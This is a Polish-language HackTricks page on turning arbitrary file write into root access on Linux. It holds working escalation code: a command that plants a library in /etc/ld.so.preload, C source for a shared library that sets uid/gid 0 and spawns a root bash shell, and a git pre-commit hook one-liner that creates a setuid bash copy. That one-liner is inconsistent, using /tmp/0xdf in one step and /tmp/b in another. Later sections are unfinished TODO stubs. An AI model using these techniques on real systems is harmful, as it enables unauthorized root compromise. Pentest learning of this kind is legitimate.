hacktricks/linux-hardening/privilege-escalation/write-to-root.md

2.8 KiB

Pisanie dowolnego pliku do roota

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

/etc/ld.so.preload

Ten plik zachowuje się jak zmienna środowiskowa LD_PRELOAD, ale działa również w binariach SUID.
Jeśli możesz go utworzyć lub zmodyfikować, po prostu dodaj ścieżkę do biblioteki, która będzie ładowana przy każdym uruchomionym binarnym pliku.

Na przykład: echo "/tmp/pe.so" > /etc/ld.so.preload

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
unlink("/etc/ld.so.preload");
setgid(0);
setuid(0);
system("/bin/bash");
}
//cd /tmp
//gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Haki Git

Haki Git to skrypty, które są uruchamiane podczas różnych zdarzeń w repozytorium git, na przykład podczas tworzenia commita, łączenia... Jeśli uprzywilejowany skrypt lub użytkownik wykonuje te czynności często i jest możliwe zapisywanie w folderze .git, można to wykorzystać do privesc.

Na przykład, można wygenerować skrypt w repozytorium git w .git/hooks, aby zawsze był wykonywany podczas tworzenia nowego commita:

{% code overflow="wrap" %}

echo -e '#!/bin/bash\n\ncp /bin/bash /tmp/0xdf\nchown root:root /tmp/0xdf\nchmod 4777 /tmp/b' > pre-commit
chmod +x pre-commit

Pliki Cron & Time

TODO

Pliki Usługi & Gniazda

TODO

binfmt_misc

Plik znajdujący się w /proc/sys/fs/binfmt_misc wskazuje, który plik binarny powinien wykonać jaki rodzaj plików. TODO: sprawdź wymagania, aby wykorzystać to do wykonania powłoki rev, gdy otwarty jest powszechny typ pliku.